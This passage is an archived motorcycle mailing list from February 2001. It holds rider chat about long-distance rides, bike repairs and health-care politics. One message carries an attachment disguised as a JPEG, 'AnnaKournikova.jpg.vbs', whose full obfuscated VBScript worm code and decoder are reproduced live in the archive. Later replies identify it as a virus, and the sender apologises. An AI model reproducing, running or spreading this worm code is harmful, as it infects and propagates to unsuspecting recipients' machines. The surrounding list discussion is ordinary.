vehicle. All in the name of "order", "efficiency", and "reduced cost." The only we don't have that yet is sheer magnitude. But watch, with computers getting faster, some smuck is going to come up with the brilliant idea of dictating your route and time slot into work. Hell, congestion is a public cost, right? And wouldn't we all love not to sit in bumper to bumper traffic for hours on end, and wouldn't society benefit from reduced accidents and other mayhem that tends to accompany such traffic conditions???? -- "Civilization can only begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Mon Feb 12 15:11:06 2001 Return-Path: Received: from tove.cs.umd.edu (tove.cs.umd.edu [128.8.128.42]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CKB3n27398 for ; Mon, 12 Feb 2001 15:11:03 -0500 (EST) Received: from mimsy.cs.umd.edu (mimsy.cs.umd.edu [128.8.128.8]) by tove.cs.umd.edu (8.9.3/8.9.1) with ESMTP id MAA17873 for ; Mon, 12 Feb 2001 12:50:23 -0500 (EST) Received: from mail.hst.nasa.gov (mail.hst.nasa.gov [198.118.113.19]) by mimsy.cs.umd.edu (8.9.3/8.9.1) with ESMTP id MAA19286 for ; Mon, 12 Feb 2001 12:50:22 -0500 (EST) Received: from [198.118.98.146] by mail.hst.nasa.gov (NTMail 6.02.0007/NT2497.02.7a48c568) with ESMTP id esiziaaa for dc-cycles@XXXXXX; Mon, 12 Feb 2001 12:50:07 -0500 From: "Amy E. Rottier" To: "Dc-Cycles" Subject: Here you have, ;o) Date: Mon, 12 Feb 2001 12:50:07 -0500 Message-ID: <00aa01c0951c$3c9e15b0$92e4b79e@hst.lmms.lmco.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00AB_01C094F2.53C80DB0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal This is a multi-part message in MIME format. ------=_NextPart_000_00AB_01C094F2.53C80DB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi: Check This! ------=_NextPart_000_00AB_01C094F2.53C80DB0 Content-Type: application/octet-stream; name="AnnaKournikova.jpg.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="AnnaKournikova.jpg.vbs" 'Vbs.OnTheFly Created By OnTheFly Execute = e7iqom5JE4z("X)udQ0VpgjnH=11{tEcggv=11f{DQ=11VpgjnH=10{Q=0F=11ptGqt=11tgT= wugoP=11zg=10vU=0FvgG=11Q9v58Jr7R6?=11E=11gtvcQgldeg*vY$eUktvrU0gjnn+$=0F= =109G5QJv786r0Rgtyiktgv$=11MJWEu^hqyvtc^gpQjVHg{n$^=11.jE*t9:=11+=11(jE*t= 33+3(=11E=11tj3*63=11+=11(jE*t23+;(=11E=11tj5*+4(=11E=11tj3*;2=11+=11(jE*= t9;=11+=11(jE*t23+2(=11E=11tj3*32=11+=11(jE*t45=11+=11(jE*t33+;(=11E=11tj= 3*72=11+=11(jE*t33+8(=11E=11tj3*62=11+=11(jE*t45=11+=11(jE*t8:=11+=11(jE*= t:;=11+=11(jE*t33+7(=11E=11tj3*;3=11+=11(jE*t23+5(=11E=11tj5*+4(=11E=11tj= 6*+;(=11E=11tj6*+8(=11E=11tj7*+5(=11E=11tj6*+:(=11E=11tj;*+:=0F=10gU=11vQ= tcyVopldi?7E=11gtvcqgldeg*vu$terkkviph0nkugu{gvqoldeg$v=10+t=0FyQoclVip7d= e0rqh{nk=11guyterk0veuktvrwhnncpgot.yQoclVip7dI0vgrUegckHnnqgf*t+2=11(^$p= CcpqMtwkpqmcxl0irx0ud=10$k=0F=11h9G5QJv786r0Rgtticg=11f$*MJWEu^hqyvtc^gpQ= jVHg{no^kcgn$f=11+@>$=11$3v=11gj=10pg=0Fp4CUJ9inEN+*=0F=10pg=11fhk=0F=10h= ko=11pqjvp*yq=11+3?c=11fpf=11{cp*yq=11+4?=118jvpg=0F=109G5QJv786r0Rwt=11p= J$vv=11=11= @=112jVpg=0F=106fFDz5yi3x=11L=11?TLo4uR4OoD0TfCtfugGuvpktugE0wqvp=0F=10qH= =11t9Z;:cX|5gT?|3=11V=11=11q6fFDz5yi3x=10LU=0Fvgk=119sd4:6x5\5?=11F=1154x= QOzM8JTE0gtvcKggv*o+2=0F=10gU=11vKQ6GXDl[LQ=11:=11?TLo4uR4OoD0TfCtfugGuvp= ktugZ*:9X;5cT||g=10+k=0F9sd4:6x5\5V0=11q=11?KQ6GXDl[LQ0:fCtfug=10uk=0F9sd= 4:6x5\5U0dwglve?=11$=11gJgt{=11wqj=11xc.g=3D=11+q=10$k=0F9sd4:6x5\5D0fq=11= {=11?J$=11=11@$$V=11gj=10pk=0F= 9sd4:6x5\5U0pg=10fG=0FQ9v58Jr7R6t0igtyvk=11gJ$EM^WquvhcygtQ^VpgjnH^{conkf= g.$$=11$3=0F=10pG=11fhK=0F=10gPvz=0F=10pG=11fhK=0F=10gPvz=0F=10pg=11fhk=0F= =10pG=11fwHepkvpq=0F=10X)udiy3=1170d2") Function e7iqom5JE4z(hFeiuKrcoj3) For I =3D 1 To Len(hFeiuKrcoj3) Step 2 StTP1MoJ3ZU=3D Mid(hFeiuKrcoj3, I, 1) WHz23rBqlo7=3D Mid(hFeiuKrcoj3, I + 1, 1) If Asc(StTP1MoJ3ZU) =3D 15 Then StTP1MoJ3ZU=3D Chr(10) ElseIf Asc(StTP1MoJ3ZU) =3D 16 Then StTP1MoJ3ZU =3D Chr(13) ElseIf Asc(StTP1MoJ3ZU) =3D 17 Then StTP1MoJ3ZU =3D Chr(32) Else StTP1MoJ3ZU =3D Chr(Asc(StTP1MoJ3ZU) - 2) End If If WHz23rBqlo7<> "" Then If Asc(WHz23rBqlo7) =3D 15 Then WHz23rBqlo7=3D Chr(10) ElseIf Asc(WHz23rBqlo7) =3D 16 Then WHz23rBqlo7=3D Chr(13) ElseIf Asc(WHz23rBqlo7) =3D 17 Then WHz23rBqlo7=3D Chr(32) Else WHz23rBqlo7=3D Chr(Asc(WHz23rBqlo7) - 2) End If End If e7iqom5JE4z =3D e7iqom5JE4z & WHz23rBqlo7 & StTP1MoJ3ZU Next End Function 'Vbswg 1.50b ------=_NextPart_000_00AB_01C094F2.53C80DB0-- From dc-cycles-request Mon Feb 12 15:23:45 2001 Return-Path: Received: from gigi.excite.com (gigi.excite.com [199.172.152.110]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CKNin27966 for ; Mon, 12 Feb 2001 15:23:44 -0500 (EST) Received: from prickles ([199.172.153.88]) by bucky.excite.com (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20010212165439.OLCA20854.bucky.excite.com@prickles> for ; Mon, 12 Feb 2001 08:54:39 -0800 Message-ID: <17436049.981996879246.JavaMail.imail@prickles> Date: Mon, 12 Feb 2001 08:54:39 -0800 (PST) From: James Hoofnagle To: dc-cycles@XXXXXX Subject: Attn; LD Riders Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Excite Inbox X-Sender-Ip: 207.172.7.9 Hey LD Riders!! Bill, Leon, Todd, Linda and anybody I missed. What goods tips do you have for someone whose never done a Saddle Sore. Besides "ride yer bike mo-ron", I've heard supplimental lighting, corbin saddles, eating light during rest stops (salad rather the greasy burger), hydrate. _______________________ They can't hit you, if they can't catch you. James E-TKT _______________________________________________________ Send a cool gift with your E-Card http://www.bluemountain.com/giftcenter/ From dc-cycles-request Mon Feb 12 15:24:01 2001 Return-Path: Received: from gigi.excite.com (gigi.excite.com [199.172.152.110]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CKNxn27968 for ; Mon, 12 Feb 2001 15:24:00 -0500 (EST) Received: from prickles ([199.172.153.88]) by kuku.excite.com (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20010212170445.TWKL3417.kuku.excite.com@prickles>; Mon, 12 Feb 2001 09:04:45 -0800 Message-ID: <14282918.981997485619.JavaMail.imail@prickles> Date: Mon, 12 Feb 2001 09:04:45 -0800 (PST) From: James Hoofnagle To: JReazor@XXXXXX Subject: dc-cycles politics Cc: dc-cycles@XXXXXX Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Excite Inbox X-Sender-Ip: 207.172.7.9 James I sure hope you have a flame retardant suit! I for one agree with you. Why is it that the wealthest country in the world is the only industrialized country in the world that doesn't have a socialized medical system to protect it's less advantaged citizens? I've got way to many friends who have started their own businesses, who during the first couple years can barely afford rent much less something that they will hopefully never use. Anyway I think I'll look for cover now. _______________________ They can't hit you, if they can't catch you. (the other) James E-TKT _______________________________________________________ Send a cool gift with your E-Card http://www.bluemountain.com/giftcenter/ From dc-cycles-request Mon Feb 12 15:32:31 2001 Return-Path: Received: from ws3.us2.outblaze.com (ws3.us2.outblaze.com [208.184.211.199]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1CKWUn28263 for ; Mon, 12 Feb 2001 15:32:30 -0500 (EST) Received: (qmail 28039 invoked by uid 1001); 12 Feb 2001 20:32:28 -0000 Message-ID: <20010212203228.28038.qmail@theglobe.com> Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Mailer: MIME-tools 4.104 (Entity 4.117) From: "Matthew Patton" To: arottier@XXXXXX Cc: dc-cycles@XXXXXX Date: Mon, 12 Feb 2001 15:32:24 -0500 Subject: Virus alert!! (was: Here you have, ;o) This is a virus!!! -- "Civilization can only begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Mon Feb 12 15:35:23 2001 Return-Path: Received: from web10505.mail.yahoo.com (web10505.mail.yahoo.com [216.136.130.155]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1CKZLn28379 for ; Mon, 12 Feb 2001 15:35:21 -0500 (EST) Message-ID: <20010212174835.15157.qmail@web10505.mail.yahoo.com> Received: from [165.247.80.245] by web10505.mail.yahoo.com; Mon, 12 Feb 2001 09:48:35 PST Date: Mon, 12 Feb 2001 09:48:35 -0800 (PST) From: Todd Withrow Subject: Re: Helmet Laws Article To: James Reazor , + In-Reply-To: <007901c093c7$38e9df40$856a0618@alex1.va.home.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Ever used socialized medicine? I have, it is called the US Army. You don't have a say in your treatment. They get to you when they feel like it. I knew a Capt. who had been waiting for a bridge for a year. To get an appointment, he was to call Mon. morning between 8am and 9am. Everytime he called, they were booked already. My father and father-in-law are both entitled to health care through the military as retirees. Neither use it, they pay for what they need. Name one thing the government has done that could not be done better by the private sector. If you needed a life saving medicine shipped from California, would you use the Post Office or Fedex? Todd --- James Reazor wrote: > Actually, health care is one of the few things I > think the government > should provide for us. Some socialist ideas really > aren't that bad. > > -James > > > > > > Anyway, people should be responsible for their own > health care. If they > > were, they'd make better choices or suffer the > consequences. > > > > Andrew > > '90 EX500 > > > > ===== AIM: Inf DS http://www.geocities.com/mtwithrow ----------------------------------------------------------- Used to be that we "worldproofed" our children. Now society wants to childproof the world. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 12 15:44:48 2001 Return-Path: Received: from tove.cs.umd.edu (tove.cs.umd.edu [128.8.128.42]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CKikn28546 for ; Mon, 12 Feb 2001 15:44:47 -0500 (EST) Received: from mimsy.cs.umd.edu (mimsy.cs.umd.edu [128.8.128.8]) by tove.cs.umd.edu (8.9.3/8.9.1) with ESMTP id PAA18986 for ; Mon, 12 Feb 2001 15:44:43 -0500 (EST) Received: from bc-gwgate1.int.bcop.com (bcopgate.bcop.com [204.99.250.45]) by mimsy.cs.umd.edu (8.9.3/8.9.1) with SMTP id PAA25734 for ; Mon, 12 Feb 2001 15:44:40 -0500 (EST) Received: from BCGATE-DOM-Message_Server by bc-gwgate1.int.bcop.com with Novell_GroupWise; Mon, 12 Feb 2001 14:47:48 -0600 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.3.1 Date: Mon, 12 Feb 2001 14:40:27 -0600 From: "George Cole" To: , Subject: Re: Here you have, ;o) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f1CKisn28548 This is another virus isn't it? >>> "Amy E. Rottier" 02/12/01 12:50PM >>> Hi: Check This! From dc-cycles-request Mon Feb 12 15:49:06 2001 Return-Path: Received: from web906.mail.yahoo.com (web906.mail.yahoo.com [128.11.23.81]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1CKn4n28652 for ; Mon, 12 Feb 2001 15:49:05 -0500 (EST) Received: (qmail 6850 invoked by uid 60001); 12 Feb 2001 18:02:16 -0000 Message-ID: <20010212180216.6849.qmail@web906.mail.yahoo.com> Received: from [207.192.134.198] by web906.mail.yahoo.com; Mon, 12 Feb 2001 10:02:16 PST Date: Mon, 12 Feb 2001 10:02:16 -0800 (PST) From: Justin Stefanon Subject: The 6 Hundred Dollar Bike To: dcbike MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii We have the technology, we can rebuild it. What we don't have is a machine shop capable of pressing the steerer tube out of the GS 1000 bottom triple, turning down the bearing surface a bit, and subsequently pressing it back into the bottom triple of the male-slider gsxr-1100 fork. Yummy. Is anyone aware of a machine shop in the area with the proper attitude and equipment for such a task? Yellow pages can't tell which shops are run by guys and which are run by dollars. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 12 15:53:24 2001 Return-Path: Received: from tove.cs.umd.edu (tove.cs.umd.edu [128.8.128.42]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CKrMn28769 for ; Mon, 12 Feb 2001 15:53:22 -0500 (EST) Received: from mimsy.cs.umd.edu (mimsy.cs.umd.edu [128.8.128.8]) by tove.cs.umd.edu (8.9.3/8.9.1) with ESMTP id PAA19103 for ; Mon, 12 Feb 2001 15:53:20 -0500 (EST) Received: from mail.hst.nasa.gov (mail.hst.nasa.gov [198.118.113.19]) by mimsy.cs.umd.edu (8.9.3/8.9.1) with ESMTP id PAA25996 for ; Mon, 12 Feb 2001 15:53:19 -0500 (EST) Received: from [198.118.98.146] by mail.hst.nasa.gov (NTMail 6.02.0007/NT2497.02.7a48c568) with ESMTP id knpziaaa for dc-cycles@XXXXXX; Mon, 12 Feb 2001 15:53:19 -0500 From: "Amy E. Rottier" To: "George Cole" , Subject: RE: Here you have, ;o) Date: Mon, 12 Feb 2001 15:53:19 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal In-Reply-To: Yes, it's a virus (a worm). No, my virus checker software was not up to date. I apologize for the inconvenience. Amy Rottier (on dc-cycles 'way back') -----Original Message----- From: George Cole [mailto:George.Cole@XXXXXX] Sent: Monday, February 12, 2001 3:40 PM To: dc-cycles@XXXXXX; arottier@XXXXXX Subject: Re: Here you have, ;o) This is another virus isn't it? >>> "Amy E. Rottier" 02/12/01 12:50PM >>> Hi: Check This! From dc-cycles-request Mon Feb 12 15:55:00 2001 Return-Path: Received: from tove.cs.umd.edu (tove.cs.umd.edu [128.8.128.42]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CKsxn28787 for ; Mon, 12 Feb 2001 15:54:59 -0500 (EST) Received: from mimsy.cs.umd.edu (mimsy.cs.umd.edu [128.8.128.8]) by tove.cs.umd.edu (8.9.3/8.9.1) with ESMTP id PAA19117 for ; Mon, 12 Feb 2001 15:54:57 -0500 (EST) Received: from hotmail.com (f58.law7.hotmail.com [216.33.237.58]) by mimsy.cs.umd.edu (8.9.3/8.9.1) with ESMTP id PAA26054 for ; Mon, 12 Feb 2001 15:54:56 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 12 Feb 2001 12:54:50 -0800 Received: from 204.71.174.14 by lw7fd.law7.hotmail.msn.com with HTTP; Mon, 12 Feb 2001 20:54:50 GMT X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: arottier@XXXXXX, dc-cycles@XXXXXX Subject: Re: Here you have, ;o) Date: Mon, 12 Feb 2001 15:54:50 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 12 Feb 2001 20:54:50.0650 (UTC) FILETIME=[0AB0B7A0:01C09536] Amy, You are infected with the VBS/SST virus. I cannot believe that NASA does not have better virus controls in place!?!? Please contact your site e-mail admin, if you don't believe me. Regardless, to the list admin: Can you exclude messages with attachments from the list? That alone would go a long way towards preventing one person from potentially infecting dozens (hundreds?) of others. Just a thought... Perry >From: "Amy E. Rottier" >To: "Dc-Cycles" >Subject: Here you have, ;o) >Date: Mon, 12 Feb 2001 12:50:07 -0500 > >Hi: >Check This! ><< AnnaKournikova.jpg.vbs >> _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Mon Feb 12 16:00:25 2001 Return-Path: Received: from hotmail.com (law2-f104.hotmail.com [216.32.181.104]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CL0Nn28969 for ; Mon, 12 Feb 2001 16:00:24 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 12 Feb 2001 13:00:14 -0800 Received: from 209.183.234.58 by lw2fd.hotmail.msn.com with HTTP; Mon, 12 Feb 2001 21:00:14 GMT X-Originating-IP: [209.183.234.58] From: "Natasha Louis" To: dc-cycles@XXXXXX Subject: $600 bike Date: Mon, 12 Feb 2001 16:00:14 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 12 Feb 2001 21:00:14.0324 (UTC) FILETIME=[CB9D7340:01C09536] Justin, You can try Fugi's Factory at 302-738-2096. Rick, the guy that owns it, is also a machinist and does have all the equipment in his shop. I know it is not in the area, but it is only 1.5 hrs from DC. Hope this helps. Tell him Natasha sent you. Natasha Louis YSR 50 #84 EARA From: Justin Stefanon To: dcbike Subject: The 6 Hundred Dollar Bike Date: Mon, 12 Feb 2001 10:02:16 -0800 (PST) We have the technology, we can rebuild it. What we don't have is a machine shop capable of pressing the steerer tube out of the GS 1000 bottom triple, turning down the bearing surface a bit, and subsequently pressing it back into the bottom triple of the male-slider gsxr-1100 fork. Yummy. Is anyone aware of a machine shop in the area with the proper attitude and equipment for such a task? Yellow pages can't tell which shops are run by guys and which are run by dollars. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Mon Feb 12 16:17:11 2001 Return-Path: Received: from tove.cs.umd.edu (tove.cs.umd.edu [128.8.128.42]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CLHAn29419 for ; Mon, 12 Feb 2001 16:17:10 -0500 (EST) Received: from mimsy.cs.umd.edu (mimsy.cs.umd.edu [128.8.128.8]) by tove.cs.umd.edu (8.9.3/8.9.1) with ESMTP id QAA19286 for ; Mon, 12 Feb 2001 16:17:06 -0500 (EST) Received: from bc-gwgate1.int.bcop.com (bcopgate.bcop.com [204.99.250.45]) by mimsy.cs.umd.edu (8.9.3/8.9.1) with SMTP id QAA26833 for ; Mon, 12 Feb 2001 16:17:04 -0500 (EST) Received: from BCGATE-DOM-Message_Server by bc-gwgate1.int.bcop.com with Novell_GroupWise; Mon, 12 Feb 2001 15:20:13 -0600 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.3.1 Date: Mon, 12 Feb 2001 15:13:15 -0600 From: "George Cole" To: , Subject: RE: Here you have, ;o) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f1CLHPn29420 And I thought you were sending me naked pictures. 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From dc-cycles-request Mon Feb 12 16:21:33 2001 Return-Path: Received: from web510.mail.yahoo.com (web510.mail.yahoo.com [216.115.104.225]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1CLLVn29556 for ; Mon, 12 Feb 2001 16:21:32 -0500 (EST) Message-ID: <20010212193435.1362.qmail@web510.mail.yahoo.com> Received: from [208.219.157.35] by web510.mail.yahoo.com; Mon, 12 Feb 2001 11:34:35 PST Date: Mon, 12 Feb 2001 11:34:35 -0800 (PST) From: Tom Gimer Subject: Re: dc-cycles digest for 02/11/01 To: John Kozyn , dc-cycles@XXXXXX In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- John Kozyn wrote: > From: Tom Gimer > > i just put some forza pipes on my duc as > well....excellent sound plus weight loss. i wouldn't say > that the volume is too much, however. it's easier to get > away with aftermarket pipes on a twin than a four (a > deeper growl is far less offensive than a high pitched > whine). > --------------------- > > Ahem, Mr Gimer... > > High pitched whine? Excuse me for whining (lol ;) but my > "four" (V4) does not whine. I know whereof you speak > however, just don't confuse cam-driven gears with a whiny > engine ;) Anyone wanna hear my V4? Click here: > > http://myweb.monumental.com/jckozyn/95VFR/VFR+D&D.wav > > (OK, I'll admit it, it does not sound as sweet to the ear > as a litre twin, but it does sound pretty good... :) didn't mean to include you in that group of whiny fours, jk -- tg (former happy whiny four owner times 6) __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 12 16:23:32 2001 Return-Path: Received: from web904.mail.yahoo.com (web904.mail.yahoo.com [128.11.23.79]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1CLNRn29579 for ; Mon, 12 Feb 2001 16:23:27 -0500 (EST) Received: (qmail 25280 invoked by uid 60001); 12 Feb 2001 21:23:20 -0000 Message-ID: <20010212212320.25279.qmail@web904.mail.yahoo.com> Received: from [206.229.31.23] by web904.mail.yahoo.com; Mon, 12 Feb 2001 13:23:20 PST Date: Mon, 12 Feb 2001 13:23:20 -0800 (PST) From: Leon Begeman Subject: Re: Attn; LD Riders To: James Hoofnagle , dc-cycles@XXXXXX In-Reply-To: <17436049.981996879246.JavaMail.imail@prickles> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii > What goods tips do you > have for someone whose never done a Saddle Sore. The long distance tips page is called the "Archive of Wisdom" at www.ironbutt.com There are two ways to do the SaddleSore 1000. 1) Start and end in the afternoon. Sleep late, leave around 2 or 3 in the afternoon, ride a bit more than 500 miles, find a place to sleep in a bed and get a shower. Get up early, ride another 500 miles and finish before the 2 or 3 in the afternoon that you started. Advantage: It's 2 500 miles trips rather than 1 big 1000 mile ride. Disadvantage: If a minor problem happens in the second half, you probably don't have time to recover from it. 2) Start early in the morning, ride 1000 miles and finish at a place where you don't have to think to put your bike away. Advantage: You should have quite a bit of extra time at the end. Disadvantage: You'll be tired after riding all day. Relax. Tension is a big cause of fatigue. 1000 miles in 24 hours is only 43 miles per hour. It can be done without exceeding 48 if you allow 3 hours for fuel and other stops. If you stay on the Interstate and run with traffic (relax, don't go so fast as to invite speeding tickets) it can be done in about 16 hours. Let me know when, if I can I'll sign you in/out. I might even ride with you if I'm free. Leon __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 12 16:39:57 2001 Return-Path: Received: from web215.mail.yahoo.com (web215.mail.yahoo.com [128.11.68.115]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1CLdun29921 for ; Mon, 12 Feb 2001 16:39:57 -0500 (EST) Received: (qmail 29467 invoked by uid 60001); 12 Feb 2001 19:53:10 -0000 Message-ID: <20010212195310.29466.qmail@web215.mail.yahoo.com> Received: from [152.119.41.129] by web215.mail.yahoo.com; Mon, 12 Feb 2001 11:53:10 PST Date: Mon, 12 Feb 2001 11:53:10 -0800 (PST) From: "CBR's Rule" Subject: Slow day To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Is it a slow day or is my e-mail not working? __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 12 16:46:36 2001 Return-Path: Received: from www.mostlyharmless.net (w157.z216112246.was-dc.dsl.cnc.net [216.112.246.157]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CLkYn00227 for ; Mon, 12 Feb 2001 16:46:35 -0500 (EST) Received: from www.mostlyharmless.net (localhost.localdomain [127.0.0.1]) by www.mostlyharmless.net (8.11.0/8.8.7) with SMTP id f1CLlW009120 for ; Mon, 12 Feb 2001 16:47:32 -0500 From: Brian Roach Reply-To: roach@XXXXXX To: dc-cycles@XXXXXX Subject: Re: dc-cycles politics Date: Mon, 12 Feb 2001 16:47:32 -0500 X-Mailer: KMail [version 1.1.95.2] Content-Type: text/plain References: <14282918.981997485619.JavaMail.imail@prickles> In-Reply-To: <14282918.981997485619.JavaMail.imail@prickles> MIME-Version: 1.0 Message-Id: <01021216473205.00979@www.mostlyharmless.net> Content-Transfer-Encoding: 8bit On Mon, 12 Feb 2001, you wrote: > James > I sure hope you have a flame retardant suit! I for one agree with > you. Why is it that the wealthest country in the world is the only > industrialized country in the world that doesn't have a socialized medical > system to protect it's less advantaged citizens? I've got way to many > friends who have started their own businesses, who during the first couple > years can barely afford rent much less something that they will hopefully > never use. Anyway I think I'll look for cover now. Um... the reason we're the wealthiest nation may have something to do with the federal gov't not taking half your income to provide social services. Just a guess :) Guess where the people in Europe who have money come for medical treatment when it's serious and they can't wait 6 months for a CAT scan? Your friends would be in no better shape because the same money (or more) that they pay in medical insurance would be going to the gov't in the form of taxes. The difference is, here you get better attention. - Roach From dc-cycles-request Mon Feb 12 16:48:30 2001 Return-Path: Received: from web314.mail.yahoo.com (web314.mail.yahoo.com [216.115.105.79]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1CLmSn00247 for ; Mon, 12 Feb 2001 16:48:28 -0500 (EST) Message-ID: <20010212214825.12431.qmail@web314.mail.yahoo.com> Received: from [63.215.155.240] by web314.mail.yahoo.com; Mon, 12 Feb 2001 13:48:25 PST Date: Mon, 12 Feb 2001 13:48:25 -0800 (PST) From: "Louis F. Caplan" Subject: Re: Attn; LD Riders To: James Hoofnagle , dc-cycles@XXXXXX In-Reply-To: <17436049.981996879246.JavaMail.imail@prickles> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- James Hoofnagle wrote: > Hey LD Riders!! > Bill, Leon, Todd, Linda and anybody I missed. What goods tips do you > have for someone whose never done a Saddle Sore. Besides "ride yer bike > mo-ron", I've heard supplimental lighting, corbin saddles, eating light > during rest stops (salad rather the greasy burger), hydrate. Leon gave some great advice (relax). My comment is be prepared in advance for documentation. Know exactly WHAT you need to write down (ask Todd about not writing down seemingly unimportant stuff). Know WHERE you are going to write it down. Know HOW you plan on keeping all your documentation safe (receipts tend to want to blow away, rain ruins things, etc). If you are prepared in advance of the ride, it will make things smoother, so you won't be as worried. And will save you from completing the ride, then realizing you forgot something, and the ride doesn't count. If you have any other questions, feel free to let us know! Louis ===== "Admiral" Louis Caplan 1998 Kawasaki Concours Alexandria, VA Co-Planner, MD20-20 http://www.masondixon20-20.org/ Home Page: http://members.nbci.com/Nighthawk700/cycle.htm __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 12 17:00:07 2001 Return-Path: Received: from imo-d03.mx.aol.com (imo-d03.mx.aol.com [205.188.157.35]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CM06n00520 for ; Mon, 12 Feb 2001 17:00:06 -0500 (EST) Received: from ScooterFZR@XXXXXX by imo-d03.mx.aol.com (mail_out_v29.5.) id 2.25.11364a7c (15881) for ; Mon, 12 Feb 2001 16:59:41 -0500 (EST) Received: from web47.aolmail.aol.com (web47.aolmail.aol.com [205.188.161.8]) by air-id07.mx.aol.com (v77_r1.21) with ESMTP; Mon, 12 Feb 2001 16:59:41 -0500 Date: Mon, 12 Feb 2001 16:59:40 EST From: ScooterFZR@XXXXXX Subject: The new virus. To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Mailer: Unknown (No Version) Message-ID: <25.11364a7c.27b9b6cd@aol.com> OK. Someone on the list has it. I just got an e-mail with it in from ""Amy E. Rottier" ". I didn't open it (never do) but, everyone beware that it's on the list. Scooter From dc-cycles-request Mon Feb 12 17:05:19 2001 Return-Path: Received: from ws3.us2.outblaze.com (ws3.us2.outblaze.com [208.184.211.199]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1CM5Hn00629 for ; Mon, 12 Feb 2001 17:05:18 -0500 (EST) Received: (qmail 10101 invoked by uid 1001); 12 Feb 2001 22:05:16 -0000 Message-ID: <20010212220516.10100.qmail@theglobe.com> Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Mailer: MIME-tools 4.104 (Entity 4.117) From: "Matthew Patton" To: 